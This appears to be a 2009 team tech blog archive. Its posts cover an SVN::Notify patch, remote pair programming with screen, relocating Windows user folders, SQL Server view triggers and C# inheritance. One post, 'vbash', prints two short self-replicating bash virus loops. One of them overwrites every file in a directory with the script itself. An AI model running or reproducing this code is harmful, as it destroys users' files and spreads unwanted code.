Friday, November 27, 2009

Code highlighting in Blogger

I just posted an article which demonstrate code highlighting in blogger. I get the highlighting feature from here: http://code.google.com/p/google-code-prettify/

Additional Reference : http://lukabloga.blogspot.com/2008/10/to-test-new-highlighting.html

Hope you enjoy it.

SVN::Notify::HTML::ColorDiff modification

We are using SVN to save our works and hooking a post-commit script which one of the function is to send e-mail regarding the changes that had just made. We are using the wonderful SVN::Notify, a perl application to do the job. It already have the functionality to produce a beautifully diff colored HTML email using the SVN::Notify::HTML::ColorDiff module as the handler.

However, since we are using web based Google Apps Gmail interface as our email client, the HTML was not rendered nicely because the CSS is not applied inside the interface. We need to change the CSS to the inline style. And then I found a patch done here. Because it is a direct hack, I want it to be more generic that the user can choose the inline style or not, then I modified a little bit more. I added optional parameter --css-inline to generate CSS style directly inline with the HTML tags. I had submitted the changes to the original author hoping he will include this option in the next revision. Just in case, I also put it here.

Snippets to add the additional parameter:

package SVN::Notify::HTML;

# $Id: HTML.pm 4617 2009-03-19 17:04:53Z david $

use strict;
use HTML::Entities;
use SVN::Notify ();

$SVN::Notify::HTML::VERSION = '2.79';
@SVN::Notify::HTML::ISA = qw(SVN::Notify);

__PACKAGE__->register_attributes(
    linkize   => 'linkize',
    css_url   => 'css-url=s',
    wrap_log  => 'wrap-log',
    css_inline => 'css-inline',
);

You may download the full source below:

Friday, November 13, 2009

[Linux] Extract files from command-line

Elixir for the lazy...

http://lightlinux.blogspot.com/2009/11/uncompress-files-from-cli.html

Saturday, October 17, 2009

Screen and Vim (and Skype) for Remote Pair Programming

I don't know if everybody follows VoiceTechnology Google Group:

http://www.linux.com/archive/feature/56443


Original Post:

2009/10/17 Fabrício

Sent to you by Fabrício via Google Reader:

via Gustavo Dutra by Gustavo Dutra on 10/10/09

Bem, é notável o crescimento das metodologias ágeis de desenvolvimento de software. Uma das práticas que me agrada muito, é a programação em pares (pair programming). É bem perceptível, a um longo prazo, a diferença que faz essa prática. Navegando pela internet, como um marujo sem rumo, encontrei um post falando sobre Remote Pair Programming. Parece meio estranho, porque o XP (eXtreme Programming) faz alusão a uma dupla programar em um único computador, com um único teclado e um único mouse.

Então, vamos tentar simular este ambiente utilizando 4 ferramentas simples:

  • screen
  • ssh
  • vim
  • skype

Destas, só o skype não é open-source. Mas é interessante manter uma conversa verbal, pois conversas escritas podem desviar o foco da programação, que é bem mais rápida e precisa do que a escrita, que pode deixar brechas para má interpretações. A conversa verbal consegue interromper o programador ao mesmo tempo em que escreve, corrigindo-o ou questionando-o.

Conectados no skype, basta decidir em qual máquina será o desenvolvimento. Esta, por sua vez, terá que ter um servidor ssh. Ela será o host da programação. Será necessário, também, nesta máquina, ter instalado o screen, que é um programa que possibilita criar ’sessões’ no terminal.

Host

screen -S PairProgramming

Parece que nada mudou, mas você está numa sessão do screen chamada PairProgramming.

Precione CTRL+a e digite:

:multiuser on

Pressione CTRL+a novamente e digite:

:acladd usuarioclient

Tudo que você ver nesta sessão, será visto pelo outro usuário (usuarioclient) que se conectará nela.

Então, abra o vim, pois será necessário um edito de textos de verdade :D , e se divirta:

vim /caminho/arquivo

Client

ssh usuarioclient@host
screen -x usuariohost/PairProgramming

Pronto! Agora você está acessando a mesma seção! Tudo que o usuáriohost fizer, o usuárioclient enxergará e vice-versa.

Agora, basta descutir a tarefa via Skype e programar. As atualizações são em tempo real, ou seja, aparecem ao mesmo tempo que são escritos, digo… depende da conexão, mas não é um grande problema.

Caso seja necessário que o usuarioclient não possa modificar o código, apenas assitir e dar pitacos, o usuáriohost deve pressionar CTRL+A e digitar:

:aclchg usuarioclient -w #

Eu ainda vou programar assim, depois digo a experiência.

Referências

Thursday, September 24, 2009

Six smart and cost-effective ways to train employees

I received this article, and found interesting, not only for management, but for any employee in general. The ideas of discussion forums, blogging, and volunteering (among others) seem nice way to improve yourself, in many ways.

Worth reading: Six smart and cost-effective ways to train employees

(sent to me by Lin)

Wednesday, September 2, 2009

Using google chat translator bots in group

Well, this is not related to programming but our fellow Bruno told me to put here and I can finally be out of the list of persons that never put something here!

In google chat, there are "bots" that you can invite, like below:

en2ja@bot.talk.google.com : english to japanese
en2pt@bot.talk.google.com : english to portuguese

The interesting trick is that you can invite them in a group chat, and
making them work as a real time translators.

This is very useful for example when 2 persons of different native languages
need to chat using english.
If a japanese and a brazilian need to chat, you can call en2ja@ and ja2en@ and
form a group chat of 4. The japanese guy can write in japanese and the brazilian guy can
write in english.
Of course, the translation is not perfect, but it helps.

Monday, August 31, 2009

Windows x Mac x Linux

I am recently watching all episodes of South Park, an attempt to get why people like it so much (and why it is always among the top 10 most viewed TV series)... and I found this while youtubing some linux stuff... enjoy!

Wednesday, August 19, 2009

TDD -> BDD

For those familiar with TDD (Test Driven Development), I was reading an article on Ruby on Rails, and found the BDD for the first time (Behaviour Driven Development). For people interested on development management, a must...

References:

Monday, August 10, 2009

vbash

Although not very spread (try Googling it), it holds the very principle of the virus algorithm technique. The most simple virus code I have ever seen...

(BASH scripting language)

Appender

for i in *.sh; do
if test ”./$i!=$0; then
tail -n 5 $0 | cat >> $i ;
fi
done


Overwritter

for file in *; do
cp $0 $file
done


Pretty cool!

Friday, August 7, 2009

As we are talking about future, how about look into the new technologies appearing for UI?

This blog posted a very interesting list of futuristics interfaces:

http://www.technologyreview.com/blog/editors/23940/

More some years, and the Jetsons will be completely outdated, hehehe!

Microsoft Office Labs Vision 2019

A great video from Microsoft about a probable future in 10 years.


Wednesday, August 5, 2009

Parkinson's Law

I have come across the Parkinson's Law before, which was a complex mathematical expression used in economical and financial sciences, to express the expansion of bureaucracy over time (got this from Wikipedia, of course I did not remember it, lol).

In simple terms (again, from Wikipedia), the law says that:

Work expands so as to fill the time available for its completion

Reading a book later, called The 4-hour Work Week, I found a very cool explanation about it by the author, that matches perfectly with my work philosophy, trying always to push myself to motivate and speed up productivity.



Parkinson's Law dictates that a task will swell in (perceived) importance and complexity in relation to the time allotted for its completion. It is the magic of the imminent deadline. If I give you 24 hours to complete a project, the time pressure forces you to focus on execution, and you have no choice but to do only the bare essentials. If I give you a week to complete the same task, it's six days of making a mountain out of a molehill...

Monday, July 13, 2009

LG Launching App Store In South Korea

I think now we will have a good fight with the apple store, because to create a apple app, the programmer need the apple machine too. And the LG run with Java.
Maybe the Java can run a little more slow then Apple, but of course we will have more developers finding the best way to use all the features of the cellphone.

Check more in Akirabaranews.

Compare the languages.

Which is the best programing language?
Why not compare that?

This is the http://99-bottles-of-beer.net/ idea. There are the same program in more then 1200 programing languages, a simple program that repeat phrases increasing a number to compose the music "99 Bottles of Beer".

Monday, July 6, 2009

Gaikai - Streaming Worlds

Some time ago, I talk about a "OnLive gaming demostrated live", now another company enter to compete, called: Gaikai



And I still talking: imagine in a future you don't need computer (or a powerful computer) in home or work and make easy create a war room.

Monday, June 22, 2009

Open source versus commercial software

How do you avoid paying for a Final Cut or Visio license and support the open source community all at once? Find a free open source alternative to expensive commercial software at Osalt.com.

Osalt.com is a guide to open source software. Hundreds of open source products are systematically listed in categories ranging from business to development, education and databases. Each product description contains pros and cons compared to similar commercial software as well as user ratings.

Thursday, June 18, 2009

How technology changed us


From: Bits & Pieces

How not to use the PowerPoint

You try make a presentation to a boring meeting, you need follow the advice below. hehehe

Thursday, June 4, 2009

Google Spreadsheets getting closer every day...

Some of the killer features for Microsoft Excel, no doubt, is the capability of more complex scripting (VB), querying and pivoting (there are the ones who say this is the Microsoft's masterpiece). Google Docs is trying to get closer to this, by launching the Scripts service, which allows you to integrate your own functions into Spreadsheets, for instance.

Interesting...

Tuesday, May 26, 2009

Agressive advertising!!


I was reading a blog, and someone post this video about a CM advertising windows 1.0. Is this real? I couldn't believe when I saw it.
Only $99!! LOL!! It looks like TV shopping!!
Check it with your very own eyes:



Friday, May 8, 2009

Double Windows, Same User Path

I usually install demos games on my computer for testing, I studied to a day may enter in the programming game area, while this day don't come, I still working with a basic programming.

When you install a lot of stuff in the windows this became a little slow (Really SLOW) and what is the better think to do? Format and install from zero.

BUT the windows have limitations on the activation key (Like I buy a car and when I need change some pieces, I need get permission of authorized to do something with already is ours), I had a lot of disappointment about windows, but i need to see the new games enter in the market and programming, for this reason (activation key) I found another way to stay with a original windows: Make a image.

Here i have a problem. When I recover the image, all my settings is lost.

So I decide make one partition to games and other to programming, but have other problem. I have program who like to use in both parts, so more one partition to put my stuff.

With the release of Windows 7 RC I decided check and make this tutorial for the people who like continue working with your computer while having time to leisure.

The first step is create a partition. You can user the Partition Magic or other freeware. You can check The Free Country. I not teach this part because I already have have a two partition and just resize one of. My HD is 320GB divided in order (70GB, 180GB, 70GB) all primary, formatted with NTFS. This is important when you will change the active partition.

Make sure you set the 3th partition to install the windows. After install the windows when you insert a name of user, put anyone, because after we will discard (Don't install any program. Is this part we start the settings).

To change the register I use the freeware program, is very fast to make the changes, so if you like you can download the Registrar Registry Manager. After all make a backup of register with this program (File->Backup and Restore) if you make some mistake, you can restore the original file.

Make a look if the windows make this settings in the HD:
- Administrative Tools->Computer Management






Is very important the common data stay in the middle and the drive name with E:. If is not, in the same program you can change: click with right button in the drive and select "Change drive letter and paths ...".

Starting

I decide create the users path in the E:\Data\Users\ because all the information in the "Data" directory is used to put document, settings, etc.

In the Windows Explorer:

Make a copy of "Default" and "Public" directory in "C:\Users\" to "E:\Data\Users\"

In the Registrar Registry Manager:

Click in Search->Search registry (Ctrl+F). In "What to look for" Leave only "Data" checked
Search to a "\Public" text and the result will come the following information below:

Search screen

Settings

Change the "%SystemDrive%\Users\Public" value to the "E:\Data\Users\Public" (Select the line, Right Button->Replace).

Make a new seach with "C:\Users\Public", select all (Ctrl+A), Right Button->Replace.

The result will be as shown below

The default comes with more information that we need, then do a search with "C:\Users\Default" then "%SystemDrive%\Users\Default" and make the replacement.
The end result will be something like:

In this part you must be careful to not replace the current User Information (we will do this later, because we're using it at the moment)

Change to the new directory:

- "%SystemDrive%\Users" to "E:\Data\Users\"
- "C:\Users\*\" to "E:\Data\Users\*\"
- "C:\Users" and "C:\Users\" (With nothing after) to "E:\Data\Users" and "E:\Data\Users\"

Now we can create a new account with administrator that will use to login in the new directory.


Restart the windows and select the new account (Don't use logoff).


Wait the windows create a new profile and check the directory if the user already created in the new directory.


Now you can copy the old user to the new directory


Enter again in the "Registrar Registry Manager" and change the others "C:\Users\" directory to
"E:\Data\Users\".

Restart again the windows and enter the older user.


This time you can change all the "C:\Users" to a new directory
.

Restart again the windows and select any user you like.


I advice delete the old User, because as you made a copy of the original with the new user, the new user become owner of the file, so if you want to keep the old User, you need make this changes. (Hint: when the file was copied, the read-only attribute was also copied with the new user as a owner, so when you try use some features like download, will can't save).


Now we can install all the programs we wanted use in the two partitions and like still with the same information (Firefox "will see the same settings and bookmark", Adobe Reader, Flash, etc.). Don't forget make the windows update. ;)

With all basic installation, now we create the image (I will use the Norton Ghost or a interesting program called Hiren's, which contains a excellent programs for the computer configuration).

My first experience with Norton I lost all my data because I didn't know how to make the image, for this reason I took photos step by step to follow.

Creating the image

In the norton: Local->Partition->To Image

Select the HD (I used a external HD to boot, for this reason show two equals HD's)

Select the 3th partition (Assuming you installed the windows and set in the third partition).

Select where you put the image (I choice the 2.2 is means drive 2, partition 2 - because the drive 1 is my boot HD and the partition 2 is my data storage)

Choose the compression (For me is Fast)

Check the information below the message and you are sure that this right, click in Yes.

When finish, we can put the same image to the other drive:

In the norton: Local->Partition->From Image

Find the image

After you select the file will show this message, because in the same file can have many partitions, but we created only one. So select this one and press OK.

Again, my HD boot, so I'm selected the drive 2.

I created the image from the part 3, now i will insert the image in the part 1.

Check the information below the message and you are sure that this right, click in Yes.

It's Done.

Now you can make a mess in one partition that not affect the work partition.

NOTES:
  1. I am not responsible for ANY DAMAGE incurred from the misuse of this material or instructions contained here. Make at your own risk.
  2. Don't have a boot menu choice because we install the equal image an the MBR make crazy (If you see in the partition magic the information came Error #110). To change the partition you need use the Computer Management (Administrative Tools->Computer Management), select the drive you like change and in the right click select "Make partition as Active). The good part is that you just change to another partition if you want.
Hints

When you like recover again the image, first update the windows and all the softwares you installed and create a new image again.


Have fun!

Sunday, April 26, 2009

OOP Gotchas...

I was reading a book, "Learning Python", from Mark Lutz, and although a different topic from usual projects at work, I found one particular comment pretty interesting, and serve all languages in general, IMHO:

I once worked in a C++ shop with thousands of classes (some machine-generated), and up to 15 levels of inheritance. Deciphering method calls in a such complex system was often a monumental task: multiple classes had to be consulted for even the most basic operations. In fact, the logic of the system was so deeply wrapped that understanding a piece of code in some cases required days of wading through related files.

The most general rule of thumb of Python programming applies here, too: don't make things complicated unless they truly must be. Wrapping your code in multiples layers of classes to the point of incomprehensibility is always a bad idea. Abstraction is the basis of polymorphism and encapsulation, and it can be a very effective tool when used well. However, you'll simplify debugging and aid maintainability if you make you class interfaces intuitive, avoid making your code overly abstract, and keep your class hierarchies short and flat unless there is a good reason to do otherwise.
Nice words to remind us of the KISS principle. http://lh4.ggpht.com/_HO2u4R9azX8/Sdiirg5JhAI/AAAAAAAAAik/CuhUaBPD3T4/LOL+Animated.gif

Thursday, April 23, 2009

MySql... what future expects

After the bombastic news of database giant Oracle purchasing Sun, the open source community was shaken up to the obscure future of the MySQL. Reading the opinion of its creator, Michael Widenius, things do not look like promising to the community. Check out his blog Monty Says: To be (free) or not to be (free)

Saturday, April 18, 2009

Databases: fixing the legacy dirts

We were brainstorming a little bit on how to solve some of the most common issues every company faces, specially those with rapid growth jumping from small to medium business. The thing is, most of the tables and structure are, in terms of modeling, really dirty, with full of duplication, wrong indexing, crappy namings, etc.

One optimum solution would be to simply re-model the system. Wow, that is easy to say. I wish it was that easy to implement. Thinking on a simple billing table that is used for basically everything on a company, changing it would mean changing all reports, all interfaces, all behind-the-scene processes, applications, etc. Ok, too much work, in deed.

What if we could create a new model and at the same time use the legacy just pointing to this new model? Like a view or something... We could implement a new table or tables to serve the purpose of this specific legacy table, and leave a view with the same signature (names, columns, etc) that would work transparently for the rest of the legacy system.

If you are just talking about a single table, that's not actually so hard thing to do, but re-modeling and putting order to the mess usually means more than that. The problem we need to solve then is: how to create this view that would behave just like the work as if the table was there, but pointing to a better modeled environment?

Searching a bit, we found an interesting approach to that solution, which is to trick the insert/update triggers of the view:




-- Create a sample table A
CREATE TABLE tableNameA
(
tableNameId int PRIMARY KEY,
valueA varchar(10)
)

-- Create a sample table B
CREATE TABLE tableNameB
(
tableNameId int PRIMARY KEY,
valueB varchar(10)
)
GO

-- Create a view which looks to both tables A and B (join)
CREATE VIEW tableName
AS
SELECT
coalesce(tableNameA.tableNameId, tableNameB.tableNameId) AS tableNameId,
tableNameA.valueA,
tableNameB.valueB
FROM tableNameA
FULL OUTER JOIN tableNameB
ON tableNameA.tableNameId = tableNameB.tableNameId
GO

-- Create the trigger that will enable the trick to insert in both tables separately
CREATE TRIGGER tableName_insteadOFInsert
ON tableName
INSTEAD OF INSERT
AS
BEGIN
SET NOCOUNT ON

INSERT INTO tableNameA(tableNameId,valueA)
SELECT tableNameId, valueA
FROM inserted
WHERE valueA IS NOT null

INSERT INTO tableNameB(tableNameId,valueB)
SELECT tableNameId, valueB
FROM inserted
WHERE valueB IS NOT null
END
GO

-- Create the trigger that will enable the trick to update both tables separately
CREATE TRIGGER tableName_insteadOFUpdate
ON tableName
INSTEAD OF UPDATE
AS
BEGIN
SET NOCOUNT ON

UPDATE tableNameA
SET valueA = ( SELECT valueA FROM inserted )
WHERE tableNameId = ( SELECT tableNameId FROM inserted )

UPDATE tableNameB
SET valueB = ( SELECT valueB FROM inserted )
WHERE tableNameId = ( SELECT tableNameId FROM inserted )
END
GO

-- Done!

-- Testing...

-- Insert some data into the tables A and B thru the view
INSERT INTO tableName(tableNameId, valueA, valueB) VALUES (1, NULL, '10')
INSERT INTO tableName(tableNameId, valueA, valueB) VALUES (2, '20', '20')
INSERT INTO tableName(tableNameId, valueA, valueB) VALUES (3, '30', NULL)
GO

-- Displaying the results on screen
SELECT * FROM tableName
GO

-- Update some data of the tables A and B thru the view
UPDATE tableName SET valueA=100, valueB = null WHERE tableNameId = 2
GO

-- Displaying the results on screen
SELECT * FROM tableName
GO

-- Just clean up this mess!
DROP TABLE tableNameA
DROP TABLE tableNameB
DROP TABLE tableName
GO

-- Cool, isn't it? (EOF)




If you try to insert directly into the view without adding the InsteadOf triggers, this is the error SQL-Server will return to you
Server: Msg 4406, Level 16, State 1, Line 1
Update or insert of view or function 'tableName' failed because it contains a derived or constant field.

And here is the result of this example:

(result of the inserts)

tableNameId valueA valueB
----------- ---------- ----------
1 NULL 10
2 20 20
3 30 NULL

(result of the update on id=2)

tableNameId valueA valueB
----------- ---------- ----------
1 NULL 10
2 100 NULL
3 30 NULL

Source:
[MSDN]: INSTEAD OF INSERT Triggers

[MSDN]: INSTEAD OF UPDATE Triggers

Wednesday, April 15, 2009

What can we learn about usability…

To relax. hehehe

Tuesday, April 14, 2009

Computer Science without computer? It's possible???

This is a proposal of the site Computer Science Unplugged with a series of computer knowledge to make without computer such as binary numbers, algorithms and data compression through games and puzzles that use cards, string, crayons and lots of running around.

It is easy and very fun.

Monday, April 6, 2009

L10n?

I first saw this terminology in SplendidCRM code, and did not quite understand why they had it with that name, and just learned how to use it. Today, I was watching a Django video, when the guy presented the following item in the slide:

  • i18n / L10n
I got curious about it and googled it, to find that L10n means "Localization" ("L" followed by 10 chars then "n") and i18n stands for "Internationalization" ("i" followed by 18 chars then "n").

Funny way to write long words...

Source: http://en.wikipedia.org/wiki/Internationalization_and_localization

Friday, April 3, 2009

Online meeting - Desktop Sharing App

I needed to do desktop sharing with one of my friend, and was looking into several desktop sharing / online meeting apps which are FREE. And I found a very good application that is quite simple and easy to setup, and this is my choice. It called Mikogo (http://www.mikogo.com).

It can by pass firewall and you don't need any static IP and it is very easy to setup a meeting.
You can have online meeting with multiple users. It allows the meeting attendees to switch to become presenter, or even the take control of the presenting computer. Oh, only one computer can be a presenter at a time. Another feature that I like, that you can choose which application that can be shared. So, you can keep all the running apps in background while you are in the meeting and not worrying that the other may peek at your mess desktop :)

The lacking is, it does not have chat, voice or video yet. Even so, I don't see that as a big problem. I just combine it with Gmail Video chat and the problem solved. I am afraid if it has the video chat, the desktop sharing will get slower, since currently I am very happy with the response time.

Take a look if you have time.

Tuesday, March 31, 2009

skype on iPhone

Skype released an iPhone version...
Does anybody have used it already?

More details in wired

Not everything is lost...

In the severe telecom fight, it is very common to talk about the alternatives such as Skype, being threats to harvest the entire economy and redefine the rules for this business. However, reality is much much different.

For me, even though Skype has lots of users (450 mi, if I am not mistaken), the idea of its real threat is an illusion.

Here is an article I received today, which I found very interesting on this topic:

[Financial Times] Skype Dreams
http://www.ft.com/cms/s/2/535477d0-1d5e-11de-9eb3-00144feabdc0.html

Friday, March 27, 2009

True or Not... be prepared

Here comes again, Conficker will return and have a new variant.
So what can we do?

More info here Beware

'Psyb0t' worm infects Linksys, Netgear home routers, modems

Now we need worry about this. Have a virus called "psy0t" and he don't want your computer, but your modem. Check more in ZDNet and APC.

Thursday, March 26, 2009

Inheritance: returning to the basics of OOP

According to MSDN:

Inheritance, together with encapsulation and polymorphism, is one of the three primary characteristics (or pillars) of object-oriented programming.

It is very simple to do it in C#, but sometimes we can fall in some traps.
Today we had a very interesting problem. How to prevent a child class to override a base class method?
Lets go to our problem: We have a base class called ContentPageBase that inherits from System.Web.UI.Page. And we want to use it as base for our WebContentPages.
But, we want to prevent those child pages to access the method Page_Load(). How to do it?
Simple, there is a class type named "abstract". Lets go again consult the MSDN:

The abstract keyword enables you to create classes and class members that are incomplete and must be implemented in a derived class.(..)An abstract class cannot be instantiated. The purpose of an abstract class is to provide a common definition of a base class that multiple derived classes can share.

So we can define a common definition of the Page_Load() method that cannot be overloaded by the child classes. By defining a class as abstract, it blocks all the methods from being overrided unless you defined the method as virtual.

So the code will be like this:
public abstract class ContentPageTemplate : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
Page.Title = "Calling from Base Class";
}
}
If you try to override the method by implementing the child class:

public partial class WebContent1 : ContentPageTemplate
{
protected override void Page_Load(object sender, EventArgs e)
{
Page.Title = "Hello ";
}
}

When compiling the following error will appear:
cannot override inherited member 'ContentPageTemplate.Page_Load(object, System.EventArgs)' because it is not marked virtual, abstract, or override

Actually there is no way to prevent the child class to just write a new method with the same name, but you can avoid the overriding by creating abstract classes.
If you don't define a class as abstract, the compiler will automatically convert all the methods as virtual, and you lose the control over them.

Other blogs out there...

Hi guys....

I don't know how many of you are currently working on personal blogs and such, but we have a few people (around our work environment) to my knowledge that have been doing that for some time, so you may want to take a pick once in a while on what they are up to:

Bruno Braga
http://www.brunobraga.net/linux-geek

Fernando Campos
http://www.blogdocampos.net/

Voice Technology
http://www.voicetechnology.com.br/ensinar/

David Lojudice
http://cquesabe.blogspot.com/

Do you guys know any other?

Video: OnLive gaming demonstrated live, network latency discussed

Now trying to use in games, imagine in a future you don't need computer in home or work (Maybe in this case the war room will be more fast to create. hehehehe).

Online demostration


Who like games: Onlive

Saturday, March 21, 2009

Firefox Lover's


from : MundoTecno

Reasons to install IE8 :

green : surf in web
blue : download Opera
orange : test a new anti-virus
red : download Firefox

One image is better than one thousand words... ;-)

Friday, March 20, 2009

Which sites keep you away from work?

(laughs)... this is actually just a joke, since being updated with what is going on is part of work in a way.

Since the evolution of the RSS feeds, the way we have access to information has changed amazingly. I remember myself 5 years ago checking all those blogs and pages for contents... this all moved to Google Reader. I don't know if it is just me, but I get the feeling that even RSS feed applications (a.k.a. Aggregator) that appeared much prior to Google Reader but they didn't fixed their ground. Google Reader seeems to do this work very well.

However, the reality for most people is still different. Checking some other people who are not directly in the IT field, most of them don't even know what RSS or Google Reader is whatsoever. This means that most people still gather information and knowlegde through old channels. This is weird...

Since we are mostly talking about IT here, then I think it is safe to ask about that (if not, your job is at risk right now, hehehe)... I was wondering, since the information all over the blogs and news are so duplicated, it is kind of pain in the a** to read the same thing again and again. To avoid that, I usually keep certain feeds that do not mix up contents...

Which ones do you guys use?

Here is my list:

Google stuff:

Linux stuff:
General contents:
  • GHacks
  • SlashDot (this one is awesome, check their slogan: "news for nerds, stuff that matters", hehe)
  • Lifehacker (this one is too much, but I read once in a while)
  • InfoQ (too much architecture for me, but it is interesting)

How about you?

Thursday, March 19, 2009

IE 8 final version.

According to a brazilian blog(meio bit) the final version of Internet Explorer 8 will be launched today, 1h in the morning JST.
I am using in my machine the demo version, and I have only one problem with my Visual Studio 2003, it doesn't run in debug mode when more than one IE window is open. Wondering why... Lets see how the final version behaves..

Wednesday, March 18, 2009

Translation Bots on Gmail

For those who haven't heard yet (most unlikely), this is a cool feature in Gmail, that speeds up a lot your recognition on different languages...

Translation bots

You should try it out!

http://techie-buzz.com/wp-content/uploads/2007/12/gtalk_translate.JPG

Awakening...

Finally, with no time to lose, we unleashed the blogging of our team!!!

Hope everyone can participate on it, and contribute to the global community as well...

http://www.innovationfactory.nl/blog/wp-content/uploads/2008/07/blogging.JPG